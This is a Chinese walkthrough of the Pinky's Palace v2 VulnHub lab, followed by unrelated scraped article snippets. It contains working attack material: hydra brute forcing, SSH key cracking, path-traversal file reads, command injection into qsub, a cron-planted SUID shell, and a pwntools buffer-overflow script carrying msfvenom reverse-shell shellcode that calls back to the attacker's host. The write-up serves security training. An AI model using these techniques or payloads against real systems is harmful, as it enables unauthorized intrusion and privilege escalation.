PinkysPalaceV2靶场详解IDA逆向查看缓存区溢出漏洞原理以及使用kali gdb使用超详细三次提权字典生成

下载链接:

Pinky's Palace: v2 ~ VulnHub

安装:

正常用vm虚拟机打开即可,注意导入时所选择的硬盘存储目录应为空目录,否则会导入失败

根据下载链接提示我们需要更改host文件,以便于我们可以正常访问

kali中的host文件位置为 /etc/host

直接输入

vim /etc/hosts

进行编辑即可,在后面加一条192.168.1.3 pinkydb

在本机中host文件位置为C:\Windows\System32\drivers\etc

用记事本打开然后进行添加即可

正文:

得知靶场ip为192.168.1.3

用nmap对靶场端口进行扫描

nmap -p- 192.168.1.3 -r -PN

得到一个80端口开放

访问80端口

滑到最下面得知是wp框架

wp框架有专门的工具进行扫描,我们枚举下用户

​wpscan --url http://192.168.1.3 --enumerate u

将得到的用户名保存起来

没有其他可以利用的位置,我们进行目录扫描

​dirb http://pinkydb/

在该目录下发现一个文本

经过访问得到了三个类似于端口的东西以及一个用户,我们将其保存下来

结合之前nmap扫描的结果中有端口的状态为过滤,我们可以尝试使用端口敲门

(如果您希望人们可以访问您计算机上的服务,但又不想将防火墙打开到Internet,则可以使用端口断开功能。 它允许您关闭防火墙上允许传入连接的端口,并在进行预先安排的连接尝试方式时自动打开它们。 连接尝试的顺序充当秘密敲门。相当于密码门,我们需要正确的输入密码即按照顺序访问不同的端口才能打开“门”)

需要用到的工具为knock(安装方式:sudo apt-get install knockd iptables-persistent)

指令格式:knock port1 port2 port3

我们需要排列不同的组合来进行依次尝试,我们可以手动进行挨个尝试,也可以编写python脚本进行自动化尝试

我这里采用了python脚本自动化尝试的办法(手动测试容易遗漏排列顺序)

import itertoolsimport subprocess# 生成给定数字的所有不同组合numbers = [8890, 7000, 666]combinations = list(itertools.permutations(numbers))# 使用knock工具对每个组合进行尝试def run_knock():command = f"knock -v pinkydb {combo[0]} {combo[1]} {combo[2]}"print(command)subprocess.run(command,shell=True)#运行shell,即运行工具命令if __name__ == '__main__':for combo in combinations:run_knock()

python k.py

我们再次使用nmap对靶场进行扫描

nmap -p- 192.168.1.3 -r -PN

之前的三个端口状态变为了开启

我们对端口进行指纹探测

nmap -p 4655,7654,31337 -r -PN -A -sC -sV 192.168.1.3

发现7654端口同样为http服务,我们进行访问(如果用的kali进行的敲门服务则需要用kali进行访问,如果用本机进行的敲门服务需要用本机进行的访问,否则会访问失败,我这里的测试均为在kali中进行)

http://pinkydb:7654/

简简单单一个按钮

是个登陆框,尝试使用sql万能密码或者sql注入登陆

经过尝试均以失败告终,该位置并没有sql注入漏洞

用之前信息搜集到的两个账号尝试使用hydra进行爆破

hydra -L user.txt -P user.txt pinkydb -s 7654 http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Invalid Username or Password"

http-post-form代表提交方式为http的post提交,后续的参数均为网页中对应的表单字段的name属性,/login.php为登陆页面名称,user=^USER^&pass=^PASS^为我们提交的表单,账号密码位置需要用^USER^以及^PASS^进行标识,F=Invalid Username or Password表示如果账号密码不正确会返回什么特征,三个参数中间用“:”,隔开不同网页会有不同的参数

按F12打开开发者工具中的网络选项,然后随便输入一个账号密码进行登陆,获取到表单

在响应位置的这里则是账号密码错误的特征(其他网页不一定!)

详情链接(Hydra(爆破密码)使用方法 - GoodGad - 博客园 (cnblogs.com)以及Hydra爆破[无验证码]Web页面_hydra 网页-CSDN博客)

果然爆破失败了。。。。

我们尝试在主页上爬取一份字典,看能不能爆破成功

​cewl http://pinkydb/ -w dict.txt

然后我们再次尝试使用hydra进行爆破(同样也可以选择用bp爆破,不过不知道为什么在kali中bp爆破速度太慢了,所以我选择用hydra)

hydra -L dict.txt -P dict.txt pinkydb -s 7654 http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Invalid Username or Password"

爆破成功!!

得到账号密码为

Pinky:Passione

尝试进行登陆

登陆成功后给了一个ssh密钥以及一个用户名

将用户名进行保存

将ssh登陆密钥下载下来

我直接邮件复制链接然后使用wget指令下载下来,方便进行查找以及保存

​wget http://pinkydb:7654/credentialsdir1425364865/id_rsa

获取shell:

在之前的nmap扫描结果中,得知4655为ssh登陆

尝试使用密钥进行登陆

登陆账号则为刚刚获得的用户名Stefano

ssh stefano@192.168.1.3 -p 4655 -i id_rsa

如果有该提示,则说明密钥权限高并不受保护,所以自动放弃了密钥登陆

需要将密钥权限降低

chmod 600 id_rsa

然后再次尝试登陆

但是发现密钥也需要密码

我们可以用john工具对密钥的密码进行爆破,不过在爆破之前我们需要将密钥转换为john可以识别的内容

我们需要用到ssh2john工具

ssh2john id_rsa > id2_rsa

然后使用john工具进行爆破,字典就选择kali自带的字典进行爆破尝试

john --wordlist=/usr/share/wordlists/rockyou.txt id2_rsa

(如果发现没有该字典,大概率是字典文件没有解压,可以切换到wordlists目录下将rockyou进行解压)

得到登陆密码secretz101(这个字典真的好用)

再次登陆

ssh stefano@192.168.1.3 -p 4655 -i id_rsa

输入密码secretz101

登陆成功

在当前目录下发现tools文件夹以及qsub可运行文件

意思大概为可以用这个文件给pinky发消息

我们尝试一下

但是需要输入密码

我们尝试输入之前的密码,发现不对

那尝试读取该文件

strings qsub

不让读取,我们将该文件下载下来

在当前目录下开启http服务

python3 -m http.server 8080

回到kali中将该文件下载下来

​wget http://192.168.1.3:8080/qsub

权限不太够

但是发现我们之前获得到ssh密钥的网页好像有文件包含漏洞

http://pinkydb:7654/pageegap.php?1337=../../../../../../../etc/passwd

那我们可以尝试用这个方法去读取一下qsub文件

查看下路径

pwd

正好发现该文件同样属于www-data

构造url进行读取

http://pinkydb:7654/pageegap.php?1337=../../../../../../../home/stefano/tools/qsub

那再次尝试下载

​wget http://pinkydb:7654/pageegap.php?1337=../../../../../../../home/stefano/tools/qsub

将该文件改名方便后续操作

mv 'pageegap.php?1337=..%2F..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fstefano%2Ftools%2Fqsub' qsub

查看该文件

strings qsub

在这里发现我们所输入的内容会赋值到%s上,但是他下方像是调用了一个环境变量

我们去查看下这个环境变量

echo $TERM

虽然不懂是什么意思,但是当我尝试将其当作密码输入时,提示密码正确!

第一次提权:

尝试使用拼接命令,类似于sql注入将命令拼接起来

./qsub "123;id;"

执行成功

那尝试开启一个shell

./qsub "123;/bin/bash -p;"

(-p则为以当前最高权限开启)

成功!

在家目录中发现一共有三个用户

先回到自己的目录下

cd /home/pinky

在目录下的messages文件夹中没有发现东西

我们查看一下历史命令

cat .bash_history

发现了一点东西,去看看有没有作用

通过查看计划任务发现该目录下的文件为计划任务文件

cat /etc/crontab

我们可以通过编辑该文件从而进一步提权,但是我们是“借用”的pinky用户,所以无法编辑该文件,我们需要更新下用户组

newgrp

现在我们就可以更改该文件了

第二次提权:

vim backup.sh

我们可以在该位置写一个反弹shell或者直接复制一个高权限的bash出来

我直接选择复制一个高权限shell到/tmp目录下,因为该目录一般操作文件权限较高比如下载、写入、删除、运行等

在该文件中写入

cp /bin/bash /tmp/shell #复制一个bash交互到/tmp文件夹下并命名为shellchmod ugo+x /tmp/shell #赋予所有人运行权限chmod u+s /tmp/shell #当文件被执行时,根据who参数指定的用户类型设置文件的setuid或者setgid权限

退出该文件的编辑需要输入 :wq!  不然无法退出

然后我们去到/tmp目录下稍等片刻

我们修改的命令生效了

运行该bash

./shell -p

进一步提权了

回到该用户的目录下,发现只有一份网站源码,并没有其他有用的东西

并且历史命令为空

查看具有suid权限的文件也没有发现可以提权的文件

查看具有root权限的进程

ps -aux | grep root

发现在daemon目录下有一个可疑文件

我们去到对应目录下查看

cd /daemon
strings panel

其中他说这是一个后门程序,不过这个提示很眼熟

我们最开始用nmap对端口进行指纹探测时触发过该提示

看来31337端口则是该文件所监听的端口,如果监听成功则会提示welcome

运行一下看看

全是链接错误提示

将该文件下载下来

在当前目录下开启http服务,然后回到kali中下载

python3 -m http.server 8080

wget http://192.168.1.3:8080/panel

在kali中打开该文件

./panel

新建一个窗口进行nc链接一下

nc 127.0.0.1 31337

但是该窗口并没有任何反应

回到主机中访问链接

http://192.168.1.3:8080/panel

将文件下载后用ida简单查看一下

然后一直点OK即可

在左侧双击main函数,然后按下F5进行简单的查看一下

根据我们之前运行后的提示我们可以找到该位置

v8是消息内容,放到变量buf

我们所输入的数据会存放到buf中然后传参给handlecmd函数

双击handlecmd

回到kali中,我们需要用到一款kali的逆向工具gdb

先安装gdb

apt install gdb

并且需要一份gdb的peda插件

插件的安装方法

先将插件下载到一个固定位置,下载好后就不能更改位置以及名称

​git clone https://github.com/longld/peda.git ~/peda

下载完成后打开

我们需要该python文件的路径

然后到/etc/gdb目录下找到gdbinit文件(如果你是用apt安装的gdb的话,否则你需要自行寻找gdbinit位置)

vim gdbinit

我们需要在该文件中写入peda.py文件路径

source /root/gdb_pead/peda/peda.py

可以用该命令验证是否安装成功

gdb -v

插件安装成功截图

如果一直不行的话可以去看看这篇文章:pwn入门(1):kali配置相关环境(pwntools+gdb+peda)_kali gdb-CSDN博客

gdb panel

然后输入  r

让panel开始运行

新开窗口进行nc链接

nc 127.0.0.1 31337

用cyclic工具生成112个字符(pip install --upgrade pwntools)(因为根据之前的逆向得知最大接受限度为112)

cyclic 112

当我们正好输入112个字符时,并没有任何反应,程序正常运行

(经过测试每次调试结束后都需要用killall杀死一遍进程)

这次我们尝试200个字符

程序直接报错了

我们用cyclic工具可以计算一下是多少字符正好可以填满RSP,取RSP的前四个字符就可以计算

得到当我们输入120个字符时,RSP会正好被填满

RIP是存储接下来需要执行命令的位置,如果我们填写的字符数超过了120,则剩下的数据会填写到RIP中,而又因为RIP中存储的为接下来需要执行命令的位置(0x123456格式),所以我们需要正正好好填写120个字符才不会影响接下来的命令执行,如果填写的字符数不足120,则后续在RIP中填写的数据会优先填写到RSP中,从而导致RIP执行命令的位置出现错误,就不会由我们操控,所以我们的思路就是:用msf生成一个shellcode,并且保证为120字符(正好填满RSP),然后在shellcode后加上一个命令地址(0x123456格式),因为RSP已满,所以会到RIP上,又因为RIP为接下来需要执行命令的位置,所以我们可以控制RIP的内容为有Jmp RSP指令或Call RSP指令的地址,这样就会跳转到RSP上(我们构造的payload就在RSP上)

(RSP是一个栈指针寄存器,它指向当前堆栈的栈顶。栈顶是堆栈中最新分配的内存位置。在函数调用过程中,参数、局部变量和其他临时数据都存储在堆栈中。通过调整RSP的值,可以在堆栈上分配和释放内存。在函数调用时,RSP的值被保存在堆栈中,并在函数返回时恢复堆栈状态。)

我们使用msf生成一个shellcode并且排除其中的“x00”,因为会造成截断,

msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.4 LPORT=4444 -f python -b '\x00'

生成出来的大小为119字符,我们就随便在后面补上一个就好

第三次提权:

编写一个exp脚本

vim shell.py
from pwn import * #这是导入 pwntools 库,它是一个用于漏洞利用和二进制漏洞开发的 Python 库。buf =  b""
buf += b"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d"
buf += b"\x05\xef\xff\xff\xff\x48\xbb\xcb\x91\x2d\xd0\xf2"
buf += b"\x11\x37\x28\x48\x31\x58\x27\x48\x2d\xf8\xff\xff"
buf += b"\xff\xe2\xf4\xa1\xb8\x75\x49\x98\x13\x68\x42\xca"
buf += b"\xcf\x22\xd5\xba\x86\x7f\x91\xc9\x91\x3c\x8c\x32"
buf += b"\xb9\x36\x2c\x9a\xd9\xa4\x36\x98\x01\x6d\x42\xe1"
buf += b"\xc9\x22\xd5\x98\x12\x69\x60\x34\x5f\x47\xf1\xaa"
buf += b"\x1e\x32\x5d\x3d\xfb\x16\x88\x6b\x59\x8c\x07\xa9"
buf += b"\xf8\x43\xff\x81\x79\x37\x7b\x83\x18\xca\x82\xa5"
buf += b"\x59\xbe\xce\xc4\x94\x2d\xd0\xf2\x11\x37\x28\x74"ret = p64(0x400cfb) #创建一个长度为 8 字节的字符串,其中包含内存地址 0x400cfb 的字节表示。这是一个返回地址,用于在堆栈溢出后控制程序的执行流程。#ret = "\xfb\x0c\x40\x00"print (ret)payload = buf + ret #创建一个新的字节串 payload,将 buf 和 ret 连接起来。这个 payload 包含了恶意输入,用于触发堆栈溢出,并将程序的执行流程指向 0x400cfb。r = remote("192.168.1.3", 31337) #创建一个IP 地址为 192.168.1.3,端口号为 31337 的远程连接对象。这意味着代码将尝试与运行在本地计算机上的服务器建立连接。r.recv() #接收来自远程服务器的数据。这里用于清空接收缓冲区。r.send(payload) #向远程服务器发送 payload 数据,触发堆栈溢出漏洞。print("ok")

新开一个kali窗口并打开nc监听

nc -lvvp 4444

运行python脚本

python shell.py

nc监听成功

缓存区溢出大概意思

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/783073.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

弧形导轨在自动化设备中的传动原理

在自动化机械系统中,弧形导轨是一种常见的轨道结构,用于支撑和引导物体沿着指定的弧线运动。其工作原理基于几何学和物理学的原理。 弧形导轨通常由一个弧形的轨道和一个移动部件组成。轨道一般呈弧形,其几何形状可以是圆弧、椭圆弧等&#x…

智慧工地整体解决方案(3)

塔吊安全管理系统 需求分析 塔式起重机是现代施工中必不可少的关键设备,是施工企业装备水平的标志性重要装备之一。随着近年来建筑行业塔机的大量使用,由于塔机违规超限作业和塔机群干涉碰撞等引发的各类塔机运行安全事故频繁发生,造成了巨大的生命财产损失。 典型事故现…

Linux 设备树: 设备树节点与属性在 dtb 文件中的存储

前言 当前新版本的 Linux 内核 设备驱动框架,与设备树(Device Tree)结合密切,整体 设备树的设备驱动框架,比较的庞大,但又非常的经典。 一个个的 设备树解析函数,都是前人【智慧】的结晶&#…

【pysurvival Python 安装失败】

这个错误与 sklearn 包的名称更改有关,导致 pysurvival 在构建元数据时失败。现在,你需要修改 pysurvival 的安装文件以使用正确的 scikit-learn 包名 编辑安装文件:找到 pysurvival 的安装文件,可能是 setup.py 或 pyproject.to…

智慧公厕:改变城市生活的革命性基础设施

在现代城市的高品质生活要求背景下,公共厕所成为了不可或缺的基础设施。然而,传统的公厕在服务质量、管理效率方面存在一定的问题。为了提供更好的公厕服务,智慧公厕应运而生。通过智能化的管理模式,智慧公厕实现了公厕使用与管理…

玩转ChatGPT:Suno制作音乐

AI开始进军音乐领域了。 一款音乐AI神器——Suno V3发布,它能够处理从间奏到主歌、副歌、桥段直至尾奏的完整结构,零门槛创作音乐。 需要科学上网,官方网站:https://app.suno.ai/ 使用GPT写个歌词,然后丢进Suno生成…

Web APIs知识点讲解(阶段七)

正则表达式 1.能够利用正则表达式校验输入信息的合法性2. 具备利用正则表达式验证小兔鲜注册页面表单的能力 一.正则表达式 1.正则表达式 正则表达式(Regular Expression)是用于匹配字符串中字符组合的模式。在 JavaScript中,正则表达式也…

光明源@智慧厕所公厕软件系统有哪些核心功能?

在现代城市的建设中,智慧公厕的建设成为了提升城市品质和居民生活质量的重要举措。而智慧公厕的核心,不仅仅在于其硬件设备的智能化,同样重要的是其背后支持的智慧厕所公厕软件系统。让我们一起探讨,智慧厕所公厕软件系统有哪些核…

【C++】开散列实现unordered_map与unordered_set的封装

> 作者:დ旧言~ > 座右铭:松树千年终是朽,槿花一日自为荣。 > 目标:手撕哈希表的闭散列和开散列 > 毒鸡汤:谁不是一边受伤,一边学会坚强。 > 专栏选自:C嘎嘎进阶 > 望小伙伴们…

c语言例题,实现一个整型有序数组的二分查找

c语言中,有很多可以实现效果的方法,而在一个整型有序的数组中,我们可以使用二分查找的方法来实现对于一个数组中的元素查找。二分查找的优点在于本身需要的计算是比较少的,一次计算查找排除掉数组中一半的元素,尤其对于…

Topaz Photo AI for Mac v2.4.2 智能AI降噪软件

Topaz Photo AI是一款适用于Mac的图像处理软件,使用人工智能技术对照片进行编辑和优化。该软件提供了多种强大的功能,包括降噪、锐化、消除噪点、提高分辨率等,可以帮助用户改善图像质量,并实现自定义的效果。 软件下载&#xff1…

探究贪心算法:特点与实际应用

探究贪心算法:特点与实际应用 探究贪心算法:特点与实际应用📝 摘要🚀 引言📋 正文内容(详细介绍)📌 小结📊 表格总结🎯 总结🔮 未来展望&#x1f…

C#.net8创建webapi,使用SqlSugar,仓储模式,DTO,服务层,控制层的综合应用(企业级)

本文源码地址: https://download.csdn.net/download/u012563853/89036104 源码中,也有详细的注释说明。 代码总览: 这是一个综合性比较强的文章,需要有一定的基础,没有基础的人,看了后,会全面的了解一下,有基础的人,看了后会加强认识,更加的巩固,直接在项目中去应…

详解 Java 中的 volatile 关键字

引言: 在 Java 编程中,volatile 是一个非常重要的关键字,用于修饰变量。它主要用于确保多个线程之间对共享变量的修改能够被及时地更新到主内存,并且能够保证可见性。然而,需要注意的是,volatile 关键字并不…

PS之更换背景色

1.更换背景色 导入图片后, 选中快速选择工具, 依次点击 选择主体 -> 选择并遮住 其后右边会出现一栏 “属性”, 拉到最下面的 “输出设置”, 选择净化颜色, 然后确认 此时应该得到抠出来的物体. 右下角点击新建图层 此时对图层2打开拾色器, 将图层2 设为白色 然后CTRL…

二维码门楼牌管理应用平台:创新管理与服务的全新方式

文章目录 前言一、二维码门楼牌管理应用平台的建设背景二、二维码门楼牌管理应用平台的功能特点三、切换功能在城市管理中的应用四、二维码门楼牌管理应用平台的未来展望 前言 在数字化时代的浪潮中,二维码技术以其便捷、高效的特点,正逐渐渗透到我们生…

ArrayList和LinkedList的区别【大白话Java面试题】

ArrayList和LinkedList的区别【大白话Java面试题】 大白话回答 arraylist和linkedlist的区别是:数据结构不同,效率不同,自由性不同,主要控件开销不同 数据结构不同 ArrayList是Array(动态数组)的数据结构,LinkedList…

leetcode 周赛 391场

2. 换水问题 给你两个整数 numBottles 和 numExchange 。 numBottles 代表你最初拥有的满水瓶数量。在一次操作中,你可以执行以下操作之一: 喝掉任意数量的满水瓶,使它们变成空水瓶。用 numExchange 个空水瓶交换一个满水瓶。然后&#xf…

JAM计数法C++

题目&#xff1a; 代码&#xff1a; #include <iostream> using namespace std; int main() {int s,t,w;cin>>s>>t>>w;char a[26];cin>>a; //输入给出的jam数字for(int i1;i<5;i) //循环找哪个字母递增{for(int jw-1;j>0;j--){if(a[j]1&…

【41-60】计算机网络基础知识(非常详细)从零基础入门到精通,看完这一篇就够了

【41-60】计算机网络基础知识&#xff08;非常详细&#xff09;从零基础入门到精通&#xff0c;看完这一篇就够了 以下是本文参考的资料 欢迎大家查收原版 本版本仅作个人笔记使用41、使用 Session 的过程是怎样的&#xff1f;42、Session和cookie应该如何去选择&#xff08;适…